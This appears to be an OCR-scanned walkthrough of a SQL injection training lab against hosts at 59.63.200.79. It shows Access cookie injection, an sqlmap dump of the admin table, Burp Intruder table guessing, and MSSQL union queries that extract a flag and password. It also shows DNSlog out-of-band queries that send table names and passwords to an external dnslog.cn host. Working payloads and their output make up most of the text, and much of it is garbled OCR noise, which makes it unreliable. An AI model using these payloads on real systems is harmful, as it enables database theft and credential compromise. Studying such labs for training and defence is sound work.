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i

http://59.63.200.79:8004/ProductShow.asp?

Postdata (0 Referer (J UserAgent (J Cookies Clear All

id=105

o FHEEEKidINSHRKIT LhcookieE N, EIEAZ B, A, sqlmapiEi



1 %

m Cancel

Request

Pretty JREIVE Hex \n =

1 GET /ProductShow. asp? HITP/1.1
2 Host: B9. 63. 200. 79:8004

3 Cache—Control: max-age=0

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/b.0 (Windows NT 10.0; Win64; x64) AppleWebKit/B37.36 (KHTML, like Geckeo) Chrome/91.0.4472. 124 Safari/537. 36
6 Accept: text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image/webp, image/apng, */%*;q=0. 8, application/signed-exchange;v=b3;q=0.9

i Referer: http://59.63. 200. T9:8004/Product. asp

3 Accept-Encoding: gzip, deflate

9 Accept-Language: zh-CN, zh;q=0.9
10 Cookie: ASPSESSIONIDSSCARTAB=GDFPKMECPPJJNCOMIPPHCOLD;ID=105
11 Connection: close

0 matches

e s
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Response

Pretty Raw Hex =

P T =TT il
I =
EESER

ERTITR 5
| EEEsasldiEgE |
Mk R IR

Done

T*123.0 - iTEE

IAH(F) H|RE(E) fEINUO0) EE(V) FEIH)
GET /ProductShow.asp? HTTP/1.1
Host: 59.63.200.79:8004
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

Referer: http://59.63.200.79:8004/Product.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

Connection: close

E 1017, 627

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,ap

Cookie: ASPSESSIONIDSSCARTAB=GDFPKMECPPJINCOMIPPHCOLD;ID=105*

NN

100%  Windows (CRLF) UTF-8

python2 sqlmap.py -r 123.txt --batch --threads=10 -T admin --dump



<« C A TS| 59.63.200.79:8004/admin/ Qa % B % 2 » &
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AL ES TR =

e EAIAKIIENT EE! EEEBFKEY, EF—XIE!

EER AT HRE:

- BHRE H S ZkZ{WElCO me-CO ntrOI}

o MEETE FHHET
HAEH-

- BEEREEEES
HTTP HiR 404 - XHHE
Internet 1Z8RF (119)
BFAEE ChREARIHFHFAR

< #E Microsoft /=
« ITFF “1IS %EBY”

{#AsqmapRigE Z N

RRFBIRZNMRELERZATFE, FRUBF10D

[~ IN3SFECIUR

Hex = Selection (21)
= :J }C’; 7 ® : SELECTED TEXT
ERMEMOHEREERAR OO
FUJIAN BOJUN DIAOSHU TUOTAIQIQU LIMITED COMPANY

DECODED FROM: URL encoding

RISER | XFHEN | =800 | SHAEAPL | EPEH | EX8E | BEREN

171 order by 1O

@lery Parameters (0)

Body Parameters (0)

Request Cookies (2)

NAME VALUE
ASPSESSIONIDSSCART... CEBPKMEC

. " ; D 171 orderb
" ErfEeha, I EERNBESCRRTI R S130 A Remove |[m

-3
EEMEYE LA TEEERII0A Request Headers (9)
TUFE)
- . R S B, Respanse Headers (7)
HFE: admin HHEIE: 2009-8-24 13:36:27 FE: 4145

NAME VALUE



. Connection close
TaREE
EREBETEE R EMBatavia R BRI A SRR ESHFEFHE UBHEEHE=RP. XUREE Date Tue, 27 Jul
T R S Server Microsoft-I
[ = = |iNspecTor @ x
|| pretty Raw Hex [[ENTSD = Selection (21) ~
SELECTED TEXT
RSB RS B IR A
FUJIAN BOJUN DIAOSHU TUOTAIQIQU LIMITED COMPANY
DECODED FROM: URLencoding v @
MEER | XTFRI | =8P0 | FHAPL | EPEH | EEEE | BRREEN
171 order by 11
Query Parameters (0) ~
Add.
Body Parameters (0) ~
Add..
Request Cookies (2) ~
NAME VALUE
ASPSESSIONIDSSCART.. CEBPKMECIMGELLPOA... >
D 171 order by 11 >
. R N Remove | [~ Add..
FTENETT | <080
TRAVHTE)
Request Headers (9) ~
Tk
Response Headers (7) P
A NAME VALUE
—=E= Connection close >
Date Tue, 27 Jul 2021 09:18:42. >
Server Microsoft-11S/6.0 >

£ RIE

11,183 bytes | 419 millis

X7, AccessREIEBMBHEMLABEER, FRMIEEAXN, FroiF HexistRR, RiXEEFRESFadmin, mTLL
BHARFHFIMEAL

INSPECTOR

pretty Raw Hex [N

Selection (77)

SELECTED TEXT

RAHBER | XFHN | =Bhh | FHaAadPn | BPEHN | FEEW | BERN

171.1%20union8%20select820182c282c3492c48
2c5%2cE%2c782c8482c982c0%20from8Z0admin

DECODED FROM: URL encoding % |

171.1 union select 1,2,3,4 ,5,67,8,9,0
from admin

Query Parameters (0)

Body Parameters (0)

' " PR

Request Cookies (2)

il RiE] NAME VALUE
\ ASPSESSIONIDSSCART... CEBPKMECIMGELLPOA...
=y g
e — D 171.1 union select 1,23,
BHE: 7 EHGHAE: §
BB Remove ||~ Add..
FeaniarE 3
o= 3 \ Request Headers (9)
SR IS,
HExm | ZE&E0 NAME VALUE
- Connection close
TREaTE Date Tue, 27 Jul 2021 09:18:42



select 1 and exists(select * from pre_ucenter_members);

—memb

R AR iR B IR A E

FUJIAN BOJUN DIAOSHU TUOTAIGIQU LIMITED COMPANY

RIS R

P o osmmen
EillEFE
TlERE
TERIEIE

2 RIS

| XFEN | =RPL | FEAPLH | EPER | ERE= |

BEESEERTLHREAEA IEﬁgtjﬁi, adminfFE

EEE=aRNRTLHHENEX
E#fE: admin S5HATE: 2009-8-24 13:32:19 Fi&: 41K
ABZrZ BaT E=aLNETLNER Rttt aa il me WTR T2, (NEFEM) syjixie123

BERT BFEsfr-RcEREL TR BoTRERESNR. 2R RR EEE SN, EE AR IR
HREIRIAROE R axilE B af H0O4 756

Target: http://59.63.200.79:8004 2 (.

INSPECTOR ©)]
Selection (44) A
SELECTED TEXT
171%200r%20=xists (s ct820% $20fromiZla
dmin)
DECODED FROM: URL encoding
171 or exists(select * from admin)
Query Parameters (0) ~
Add
Body Parameters (0) ~
Add..
Request Cookies (2) A

NAME
ASPSESSIONIDSSCART..
D

VALUE
CEBPKMECIMGELLPOA... »

ists(select * from admin) >

Remove ~ Add

Request Headers (9)

Response Headers (7)
NAME

Connection

Date

Server

~
~

VALUE

close >

Tue, 27 Jul 2021 09:18:42. >

Microsoft-115/6.0 >

14,058 bytes | 277 mil

o
3




E) Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

1 GET /shownews. asp? HTTP/1. 1

2 Host: 59.63. 200. 79:8004

3 Cache-Control: max-age=0

4 Upgrade-Insecure-Requests: 1

5 User-Agent: Mozilla/5. 0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, inage/avif, inage/webp, inage/apng, */%*;q=0. 8, application/signed—-exchange:v=b3:q=0. 9
Accept-Encoding: gzip, deflate

8 Accept-Language: zh-CN, zh:q=0. 9

9 Cookie: ASPSESSIONIDSSCARTAB=CEBPKMECIMGELLPOAMBILFOK; ID=171%200r%20exists (select%20+%20from%20 § admin §)

10 Connection: close

11
12
R BRI =
Eiadminfi I LAFIEHERRR
== T ANE
EFEX NUREF
Request Payload Status Error  Timeout Length Comment
0 200 14058
2lg 1 admin 200 14058
8 admin'or'=" 200 14058
ol g user 200 14058
|44 ADMIN 200 14058
182 NEWS 200 13991
¥ 59.63.200.79 | ID
&
Adobe Flash Player 24+ 171%20union%20select%201%2cusername%2cpassword % 2c4%2c5%2c6%2
€7%2c8%2¢9%2c0%20from%20admin
=E t X
59.63.200.79
FEi2
— |;
. : T REE A
i admin Wed Jul 27 2022 10:48:18 GMT+0800 (GMT+08:00)
SameSite
hostOnly session 725 httpQOnly
o v
b9a2a2b5dffb918¢c
|
! TENAR || XA&EO
A Fl
Z 3mqo

o MD5fE%, FEWwelcome, RJ5M _E—AFR—EERBIT



b9a2a2b5dfib918c
=k

5if)

BEiRER:

welcome

Access——Cookiefm#Z1E AN

o HHE: http://59.63.200.79:8004/

o WBEANERE: JRMNFE—NRAFE, L admink, BRIV LA admin. XF 7 admin 254 frEFE. admin. =>

usernme,password,id (adminR BEH A N FK). BXANRETLALRBERE, RRRFEMBIEAN . K5 RATAT LA N £
BE, RHUFER, adminRBEAMRFER, M MEEERALEE, RUUERHRMNTENOERE.

o XA KT BREAE261

IR | QW EME-F A | @ ISHE-F X | Q@ IHE-F X | W EAHE-F X | W EME-F A | W HME-F A | B ITHE-F X Y EiEmET X © AccessEiE A | T L
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>

2 A FE2 | 59.63.200.79:8004/ProductShow.asp? ® v
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‘ http://59.63.200.79:8004/ProductShow.asp?

» 59.63.200.79 | ASPSESSIONIDSABTRDSD

» 59.63.200.79 | ASPSESSIONIDSSCARTAB

¥ 59.63.200.79 | ID

Adobe Flash Player BB &
105%200rder%20by%2026

0 !

P
B ,
59.63.200.79
" S— 1 BEE
=S SET /T |
an R I FREx 2 HEE Al
Wed Jul 27 2022 10:55:58 GMT+0800 (GMT+08:00)
A o "
HUREHE=SR NHEETR >> IHSETR SameSite
AU \ v
ST hostOnly (¢ session Ze httpOnly
1004/UploadFiles/200936111824355,jpg Fgfs . ™ v
Jlements Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar

1~ Encoding~ SQL~ XSS~ LFI~ XXE~ Other ~

RL 105 order by 26

[——1=x8
. ™~ B261FRR
i (] Postdata (J Referer [J UserAgent [J Cookies Clear All

o RERMBadminEHH 16N ER



_L! Encoder - | X

ILRI L] > encoder € Decoder ptin: /jwww.nosec.org
105 and exists(select = from admin order by 16)|

105%20and%=20exists % 28select %20 %2A %20from % 20admin%20crder
%20by%2016%29

.200.79:8004/ProductShow.asp?

e % M Q‘ﬂ @
D YouTube @ 1(7)jpg (28x28) ™ Gmail E¥ #E @ vYouTube B¥ 1 mEER 4 T | D) ‘ + | +) | = ‘ Q | &~
J http://59.63.200.79:8004/ProductShow.asp?
Adobe Flash Player EABS
» 59.63.200.79 | ASPSESSIONIDSABTRDSD
» 59.63.200.79 | ASPSESSIONIDSSCARTAB
~ 59.63.200.79 | ID
=
105%20and%20exists%28select%20%2A%20from%20admin%20order%20b
: — - %2016%29
RV UG TR .
i FRET 7)) y
#HE
E b —
HES = NREHFR >> IRSH=S 59.63.200.79
AR5 Bz
FETHTR gaﬂﬂ |
BEESSEE Wed Jul 27 2022 11:00:29 GMT+0800 (GMT+08:00)
SameSite
| v]
hostOnly v session [ 2 httpOnly
IV 4 25

o B3R 1126-16=10,adminZ®E Z )\ B 11/ FF 1§
o BB EMadmin®, AccessBIEEAIEBAHREN



Y Encoder — | >

|UR1 ﬂ > Encoder € Decoder hitp: /fwwn

105 union select

l,2r3.|4,5.6,?,8,9.10.11.12.13,14,15.16.1?.18.19.20.21.22.23.24.25.26 from
admin

105%20union%:20select
%96201%2C2%2C3%2C4%2C5%2C6%2C 7% 2C8%2C9%2C 10%2C11%:2C12%

2C13%2C14%2C15%2C 16%2C17%2C 18%2C19%2C20%2C21%2C22%2C23
%2C24%2C25%2C26%20from %20admin

P - egan i mEER
HUHEETR e e &
AR
FEBHTR £
EEsEEL

R ARRRE

105 union select admin.*,1,2,3,4,5,6,7,8,9,10 from admin



! Encoder - | X
URI ﬂ > Encoder € Decoder pitp: [/ \sec.orq
105 union select admfn. *1,2,3,4,5,6,7,8,9,10 from admin
105% 20union%20select%20admin % 2E%2A
%2C 1%2C2%2C3%2C4%2C5%2C6%2C 7% 2C8%2C9%2C 10%20from
%e20admin
A T2 | 59.63.200.79:8004/ProductShow.asp? w M 'EI
VASETA |Palmito.. @ YouTube @ 1(7)jpg(28x28) ™ Gmail B¥ #E @ YouTube BY tE E EEER H FOSE-SATR. M Gmail W Twitter — B&.. & &E - MYFREEMP...

Adobe Flash Player EABEZE

| IO T i FRRET —— ,
R ) b9a2a2b5dffb918c >> 110.185.227.128 >> 2003-9-25 23:13:38
MU &
e, 2003-9-25 23:13:38 g
EERERGE

oG

SHHA

e

EETZSBAGKRRE
s RE!

o I Ihttp://59.63.200.79:8014/index3.php



o —{THFRIME B waf2#

< C A F22| 59.63.200.79:8014/index3.php * M % Yy

B WA @ WASETA Palmito.. @3 YouTube @ 1(7)jpg (28x28) ™ Gmail 2 #E @ YouTube #F 1@ FRER % FOSE-SATZ. M Gmal W Twitter — E&.. & BE - MYFREEMP...

PR K

IENERTEL SIS, CRMIERRIgEzE!
AERR: SIETHINACABRATESER
AR

1) KERZAE;
2) AREEEE, BEARTIRIRE,
3) BEMIGHE, EHREMGEER;

o RIARAEZMAKwaf, AL txtREaid

<« C A 2| 50.63.200.79:8014/index3.php/.txt B x D% s nB
WA @ WASETA [Palmito.. @ YouTube @ 1(7)jpg (28x28) M Gmail B¥ 12 @ YouTube ¥ it HEER % ISE-SETHR. M Gmal W Twitter — B & BT - MYFREEMP... » | B s

© 2009 Eisg

e REMRERMEANMKT, A2MFE



\20)
Al m:m A
FEIWE

XINBA CATTERY J,

a] e,
3 Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean
given in C:\phpStudy\WWW\index3.php on line 62

LATAYSrsZEE(EASELECT * FROM “news™ WHERE ~id” =1 order by 3

© 2000 EiEE

[x ﬂ Elements Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar

Encryption ~  Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

Sx.otaars
gy Load URL http://59.63.200.79:8014/index3.php/.txt?id=1 ordefr by 3

i —  3EE, 283, 24FHEok

») Execute
(J Postdata (J Referer (O User Agent [J Cookies Clear All

e HERKIAMRBEARBE, REBEEEHET, sleep#l Bk 758, FrUARNBIEE, HE2EHIRRERDNSEA,
o Jbhik: hitp:/dnslog.cn 3REXhE

o iR R
DnsiEA => it EHERREHEAN

o ARUELHERAARARBEZHNELT, HREBEFATLIREIER, XA 5 AT LUE S DNSIE R I8 IRE 5 HE 53 i
XK

o XWFsqlEiE, EANAERR-H/EEZ—INE, BREXFNFERAAN, BRESHEANEEERAE S B P ban.
o FTUAT L selectBIMIHIEREL —Aurl, AHEInsERZAERNICFEHEREEHIE.

load _file() 3Z#FUNCE&E

//a.zkaq.cn/abc => a.zkaq.cnfRSSEEE NmO
DNS => a.zkaq.cn
B®& => Bic iIcRIRE. iERnEISUF
DNSHAJgEH# =>
HRESHEEEE I ERERE RS
WERFAEE— ) DNSIRS BRI ZMT. FralanEES=mERIINBEETRCR K

& => RizEEFET. BEEMRELE, B|TTEN pE#EITEE NSIER
BElEfEE HEERIDNSHRSSSE##T

http://dnslog.cn/ BIEEAARIDNSYE, BT _LIARMAEE

e DNSH B e SR EIRAEROBHERSE L



| Get SubDomain H Refresh Record

y4duda.dnslog.cn
DNS Query Record IP Address Created Time
134155123.yd4duda.dnslog.cn 120.202.250.20 2021-07-27 11:39:38
134155123.y4dduda.dnslog.cn 211.137.50.54 2021-07-27 11:39:38
134155123.y4Aduda.dnslog.cn 120.202.250.22 2021-07-27 11:39:38
123.y4duda.dnslog.cn 120.202.250.20 2021-07-27 11:39:28
123.y4duda.dnslog.cn 120.202.250.22 2021-07-27 11:39:27
123.ydduda.dnslog.cn 211.137.50.54 2021-07-27 11:39:27
y4duda.dnslog.ch 120.202.250.20 2021-07-27 11:39:19
ydduda.dnslog.cn 120.202.250.21 2021-07-27 11:39:19
ydduda.dnslog.cn 120.202.250.20 2021-07-27 11:39:19
y4duda.dnslog.cn 211.137.50.54 2021-07-27 11:39:19
& C A TZ=2 | 123.y4dudadnslog.cn Bt B o & R

S WA @ WASETA [Palmito.. @8 YouTube @ 1(7)jpg (28x28) ™ Gmail BY #E @ VYouTube ¥ 1@ EEEE & FIBE-SETR. ™M Gmal W Twitter 25, & =E - MYFREEMP...

laptop-g9ffej5g\23242
flag.php
Fatal error: Uncaught Error: Function name must be a string in D:\phpstudy8\WWW\Index.php:11 Stack trace: #0 {main} thrown in D:\phpstudy8\WWW\Index.php on line 11

o Wik — T load_fileE 1/ i) dnsf# 7 >k 3% B Hh 1k

load_file('//demo.uf7elz.dnslog.cn/abc")
// BERUNC B8 217 ] #E Zdemo . uf7elz . dnsLog. cn f/R%#E FHIFHZ X 1 Fabc

=G
XINBA (j.l\‘l"l'ﬁ[{\’ﬁ\/;_
fp S \ -
,(H) &'

G
% HAIRISrsZER{EASELECT * FROM “news ™ WHERE “id* =1 and
& "(‘;\ load_file('/ /demo.uf7elz.dnslog.cn/abc’)

© 2009 Ei%E

_)8h8

ents Console Sources Network Performance Memory Application Lighthouse EditThisCookie HackBar

Encoding+ SQL~ XSS~ LFl+ XXE~ Other~

hitp://59.63.200.79:8014/index3.php/1.txt?id=1 and load_file('//demo.uf7elz.dnslog.cn/abc’)



| Get SubDomain H Refresh Record

uf7elz.dnslog.cn

DNS Query Record IP Address Created Time
ccbbbec.uf7elz.dnslog.cn 59.63.230.105 2021-07-27 11:52:39
ccbbbec.uf7elz.dnslog.cn 59.63.230.105 2021-07-27 11:52:39
cccc.uf7elz.dnslog.cn 59.63.230.106 2021-07-27 11:52:19
chine.uf7elz.dnslog.cn 59.63.230.106 2021-07-27 11:51:47
demo.uf7elz.dnslog.cn 173.194.171.10 2021-07-27 11:49:45

- demo.uf7elz.dnslog.cn 59.63.230.106 2021-07-27 11:49:45
demo.uf7elz.dnslog.cn 59.63.230.106 2021-07-27 11:49:45
- ccc.uf7elz.dnslog.cn 120.202.250.20 2021-07-27 11:48:15
ccc.uf7elz.dnslog.cn 120.202.250.21 2021-07-27 11:48:15
ccc.uf7elz.dnslog.cn 120.202.250.21 2021-07-27 11:48:15

o EE—K, BB, load fileR{FEBRMAFEN, BNRLEMEAK

o HiE—/MEAISRIRETEN, FlHconcatEEdEk, EEHIEE

http://59.63.200.79:8014/1index3.php/1.txt?id=1 and load_file(concat('//"', (select database()),'.uf7elz.dnslog.cn
/abc'))



| Get SubDomain || Refresh Record ‘

\ \ DNS Query Record IP Address Created Time
mangzhu.uf7elz.dnslog.cn 59.63.230.106 2021-07-27 11:58:16
123.uf7elz.dnslog.cn 74.125.186.201 2021-07-27 11:58:00
ccbbbec.uf7elz.dnslog.cn 59.63.230.105 2021-07-27 11:52:39
ccbbbec.uf7elz.dnslog.cn 59.63.230.105 2021-07-27 11:52:39
ccec.uf7elz.dnslog.cn 59.63.230.106 2021-07-27 11:52:19
chine.uf7elz.dnslog.cn 59.63.230.106 2021-07-27 11:51:47
demo.uf7elz.dnslog.cn 173.194.171.10 2021-07-27 11:49:45
demo.uf7elz.dnslog.cn 59.63.230.106 2021-07-27 11:49:45
demo.uf7elz.dnslog.cn 59.63.230.106 2021-07-27 11:49:45
ccc.uf7elz.dnslog.cn 120.202.250.20 2021-07-27 11:48:15

s MEEAER

http://59.63.200.79:8014/1index3.php/1.txt?id=1 and load_file(concat('//', (select table_name from information_sc
hema.tables where table schema=database() Limit 6,1), '.l6xxex.dnslog.cn/abc"))

Wi W TUUIUUG WS I JJPY \EUALO)  BC1 UGN mal HDiS we TUUTULT  mar MoDIS ge] LLERETOK g VIIUSFLC AL | BAee 101 UIan o 1winct SR B BRI T VITEINLLAVIT ..

=

admin=FEZ3k

| Get SubDomain H Refresh Record

I6xxex.dnslog.cn

DNS Query Record IP Address Created Time
admin.l6xxex.dnslog.cn 173.194.934 2021-07-27 12:03:18
5.5.53.16xxex.dnslog.cn 172.217.43.198 2021-07-27 12:02:12
mangzhu.l6xxex.dnslog.cn 59.63.230.105 2021-07-27 12:00:19

o BERELABAHMKE, ME



Attack type: I Sniper ~ ]

1 GET /index3. php/l1. txt?1id= { Add §
1%20%20and%20load_file (concat (%27//%27, (select%20table name%20from%20information_ schema. tables%20where%20table schema=database () %201im [ Clears
it%208 08§, 1), %27. 16xxex. dnslog. en/abc%27)) HTTP/1.1

2 Host: H9Mg3. 200. 79:8014 { Auto §

3 Upgrade&iureRequests: 1 “m

4 User-Agent: Mozilla/5. 0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537.38 (KHIML, like Gecko) Chrome/92.0.4515. 107 Safari/537. 36 ‘

5 Accept:
text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, inage/webp, image/apng, */#;q=0. 8, application/signed-exchange;v=b3;q=0
9

6 Referer:
http://59. 63. 200. 79:8014/index3. php/1. txt?1d=1%20%20and%20load_file(concat (%27//%27, (select%20table name%20from%20information_schema. t
ables%20where%20table_schema=database () %201imit%200, 1), %27. 16xxex. dnslog. cn/abc%27))

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0. 9

Cookie: ASPSESSIONIDSABTRDSD=PIFHINODDEEMLIOCLJJGJPMI; ASPSESSIONIDSSCARTAB=CEBPKMECIMGELLPOAMBILFCK; ID=
105%20union%20sel ect%20admi n%2E%2A%2C1%2C2%2C2%2C4%2C5%2C6%2C T%2C8%2C9%2C1 0%20f rom%20admin; safedog-flow-item=
T01221428CB30BECOYBFEDBA73200A2E

10 Connection: close

© o

11
12
e Ml—TF
‘ Get SubDomain H Refresh Record
I6xxex.dnslog.cn
DNS Query Record IP Address Created Time
news.l6xxex.dnslog.cn 59.63.230.106 2021-07-27 12:10:28
— 9

news.l6xxex.dnslog.cn 173.194.93.2 2021-07-27 12:10:28
ews.|6xxex.dnslog.cn 74.125.186.201 2021-07-27 12:10:27
admin.l6xxex.dnslog.cn 172.253.6.2 2021-07-27 12:09:53
admin.l6xxex.dnslog.cn 59.63.230.106 2021-07-27 12:06:34
admin.léxxex.dnslog.cn 74.125.186.202 2021-07-27 12:06:34

/id.lﬁxxex.dnslog.cn 59.63.230.106 2021-07-27 12:05:42
Id.|6xxex.dnslog.cn 173.194.93.3 2021-07-27 12:05:42

o Fadming H, MHLEFadmin FIFE

http://59.63.200.79:8014/index3.php/1.txt?id=1 and Load file(concat('//', (select column_name from information_s
chema.columns where table schema=database() and table_name='admin' Limit 3,1), '.l6xxex.dnslog.cn/abc"))



WT TERIBRINFR

‘ Get SubDomain || Refresh Record

I6xxex.dnslog.cn

DNS Query Record IP Address Created Time
password.l6xxex.dnslog.cn 59.63.230.106 2021-07-27 12:13:20
\ password.l6xxex.dnslog.cn 74.12541.2 2021-07-27 12:13:20
username.l6xxex.dnslog.cn 59.63.230.106 2021-07-27 12:13:10

o Fflag

http://59.63.200.79:8014/1index3.php/1.txt?id=1 and load file(concat('//', (select password from admin), '.l6xxex.
dnslog.cn/abc'))

‘ Get SubDomain H Refresh Record

|6xxex.dnslog.cn

DNS Query Record IP Address Created Time

1flag1good1.16xxex.dnslog.cn 59.63.230.106 2021-07-27 12:15:03

/ flag.l6xxex.dnslog.cn 59.63.230.106 2021-07-27 12:14:18
Tﬁg”ﬂ a g password.|6xxex.dnslog.cn 59.63.230.106 2021-07-27 12:13:20
password.|6xxex.dnslog.cn 74.12541.2 2021-07-27 12:13:20
username.l6xxex.dnslog.cn 59.63.230.106 2021-07-27 12:13:10
news.l6xxex.dnslog.cn 59.63.230.106 2021-07-27 12:10:28
news.l6xxex.dnslog.cn 173.194.93.2 2021-07-27 12:10:28
ews.|6xxex.dnslog.cn 74.125.186.201 2021-07-27 12:10:27
admin.léxxex.dnslog.cn 172.253.6.2 2021-07-27 12:09:53
admin.léxxex.dnslog.cn 59.63.230.106 2021-07-27 12:06:34

e BT, BRAWUMMANEEERREEN, HRFAARMEE. HEBFBHFASMBRS (JtEX
> , windowsH 7, linuxfEW, BIRFAAEMNE. £BIFE T XHFEDE R B

MSSQL——& AR BIEAN

o F8% http://59.63.200.79:8015/?id=1
o XAEEGAFERFIT AMEN
o B BHEAER



o TEMRIERKZMSSQLA X H4E KA AH R B ZR, FE W5 A KRR ETE A A NULBE 7

o KW B

id Title Body
1 EAILSQLServerfEHTEEN IBIDERBIE? EOEFNIESRTLL, EHSHIENEHESTHEIDIH{TIET create table tableName(id int identity(1,1) primary key, data varchar(50) ) /*
IEKIE? identity(1,1)SEB SN E— M SHERTEE - NEIEE(E; primary key2F5F */
=/N\=EQ
=1NFRR
EAES#S www.modernbrowser.tools BIAL.
[R (] | FElements Console Sources Network Performance  Memory’ Application Lighthouse  EditThisCookie  HackBar B2 | & X
Encryption ~  Encoding ~ SQL~ XSS~ LFI~ XXE~ Help!
i@ Load URL http://59.63.200.79:8015/?id=1' order by 3|--+
4 spit URL
Y
D Bxecute [0 Postdata (J Referer (J UserAgent (J Cookies Clear Al
o AMHEFBIEARR
id Title Body
1 EikSQLServerfUiFR R 1R EBIDEEEIE? EOEENRHEFKEILA, EEEIRRHE ARt IDIF{TIE(E T create table tableName( id int identity(1,1) primary key, da
| |1EEE? identity(1,1)# 283G E—2HEFTEE 2B, primary key2FH */

nul B B A Ia LT

T3 ﬂ Elements Console  Sources Network Performance Memo fﬁcat\on
e xxe - dfer /

Lighthouse EditThisCookie HackBar

Encryption ~ Encoding ~ SQL~ XSS ~
g Load URL hitp://59.63.200.79:8015/?id=1" union all select null,null,null-+
4 Split URL

») Execute .
[0 Postdata [J Referer ([ UserAgent [ Cookies Clear All



DM w7 WASCIAFANNNG. e IUUIUDY R U JJRY ORCO) 1T GIIGN M ACEY  w TOMIULY  ar A Em TRRON 3R 3IRSRDA Lm0 GGl % IWILEl S & S - WIHEREENIF.. o i s
id Title Body
1 E1ESQLServerNFHE) IR EIDTREIE? TARERNIHESOIA. EHEEUENIHRH A FEN IDIHfTIE T create table tableName(id int identity(1,1) primary key, data varchar(50) ) /*
1BKE? identity(1,1)REENEN,E— N SHEMTEE N 2IBE(E; primary key2F5# */
12 3

N

FIBES—DrBRAMFE, EERNAFHEENSSIS

[® ] | Elements Console Sources Network Performance  Memory / Application  Lighthouse  EditThisCookie  HackBar B2 &
Encryption v Encoding~ SQL~ XSS~ LFIv XXE~ Of - Help
‘@i Load URL http://59.63.200.79:8015/?id=1" union all select 1,'2",'3'-+
& spiitURL

») Execute

(J Postdata (J Referer (0 UserAgent [J Cookies Clear Al

o BARA

http://59.63.200.79:8015/?1d=1" union all select 1,'2',table_name from information_schema.tables--+

id Title Body

1 E4LLSQLServeriNiFHRE ) IREIDLIREE? TORRENRMEFAILL. EHEEENeHER AR EX DI TIRE T create table tableName( id int identity(1,1) primary key, data varchar(50) ) /*
IBERE? identity(1, NBEE BN E— N EHEMAHEE_IEIBE(E primary keyET5 */

12 admin h

12 dtproperties \

12 news

12 sysconstraints

12 syssegments

[® (]  Eements Console Sources Network Performance Memory  Application  Lighthouse EditThisCookie  HackBar o1 B3| £

Encryption ~  Encoding + SQL~ XSS~ LFI+v XXE~ Other~

g Load URL http://59.63.200.79:8015/?id=1" union all select 1,"2' table_name from information_schema.tables—+
B soitURL

») Execute

[0 Postdata (0 Referer (J UserAgent (J Cookies Clear All

« BFYR

http://59.63.200.79:8015/?1d=1" union all select 1,'2',column_name from information_schema.columns where table_n

ame="admin'--+



id Title Body

1 E4ILSQLServerfF B IREIDTRAIE? EOIRFNIHERALL, ESSIRNIT s AR EX I DI/ TIRIE T create table tableName( id int identity(1,1) primary key, data varchar(50) ) /*
LENE identity(1,1)SEEB BN E— T SHERFEE_ I EIEEE primary key2+5§ */

12 id

12 username b

12 passwd \

12 token -

~_

[® @] CElements Console Sources Network Performance  Memory  Application  Lighthouse  EditThisCookie  HackBar CERE -

Encryption v  Encoding~ SQL~ XSS~ LFI~ XXE~ Other~

@ Load URL

http://59.63.200.79:8015/7id=1" union all select 1,'2',column_name from information_schema.columns where table_name="admin'—

& spiit URL

») Execute
[0 Postdata (J Referer (J UserAgent (J Cookies Clear All

o Zflag

http://59.63.200.79:8015/?1d=1" union all select 1,token,passwd from admin--+

i WA €9 WASEIA [Paimito.. & Youlube & 1(/))pg (£8x28) ™ Gmail mOEE W Youlube woEE Y AaSER FF ImUse-gsctEA.. M Gmal ¥ olwitter — 5. & BX - MYFREEMP... ” 53
id Title | Body
i EoiLSQLServerfEFHEMIG IR BIDEHBIE? EOIBRENIHERIIL. EAISSIRIIHER AT EX I DIHTIRE 1 create table tableName( id int identity(1,1) primary key, data varchar(50) ) /*
HEIR? identity(1,1)SEEEFNEM E— N EHEMTEFE N 2IGEE, primary key2F5# */
1 |zkaq{e9c9e67c5) admin
® @] | Eements Console Sources Metwork Performance  Mem Application  Lighthouse  EditThisCookie  HackBar o1 @3 | !

Encryption + Encoding ~ SQL~ XSS~ LFI~ XXE~ Ofer~

@ Load URL http://59.63.200.79:8015/?id=1" union all select 1,loken,passwd from admin--+
§ spit URL

») Execute
O Postdata (0 Referer (J User Agent [J Cookies Glear All

o BRI ARRKAMRFEEN PR EBREANS EARAT



ENXHFESQUEAN AR EE#ATEAN. EALREERNEREREEE. HRESELEXA. BEREEANGERSE, WTLUEH
BTN R AT B 1R

o RE: REIEANFTEMKBT R opendatasource X #F, KA HBEPHE NS RRKER S — B ERFH+, AMREK
HizlR &SP HEERE L

o HEBIEAN

1. 445 ) RARERER —%sqifE QK4 R

2. £%SQUEARIN AT, TURFTERED, FHRRBRT -#HERNIES
o RBVENMKH

1. HSQLEA, &R

2. ShEREIEERESE S (RINER AN EBEEE) [BE—NMSSQLEIHEE] AMip [~ & A A Mipi MSSQLEUE
FE]

MSSQLIEAN — R¥EEA SLhR gt 21825 # 1 R K BUEE RXBIRMNKMSSQLR %58 £, BARMNEE B S KIMSSQLEEE M — 42
M 1P

BT : BTN —E BT AT EMSSQLAE A, ™% EMSSQLZ AR A A T EREME = RS H/RER—12
PP, R0 2 (A 0 7T DASE Il RIS N1, 75 04T DL 2 25!

1. &# = http://lwww.webweb.com BEEEANBEER B EM AT (AREORKXA, THTREANMHE (HEFKRIE LB
WA B )

2. BB EMPKRBAXA: https://imy.gearhost.com/CloudSite. http:/mssqlus.webweb.com/ (¥ EE#1E)
3. IGEFERA : https://rootsh.com/
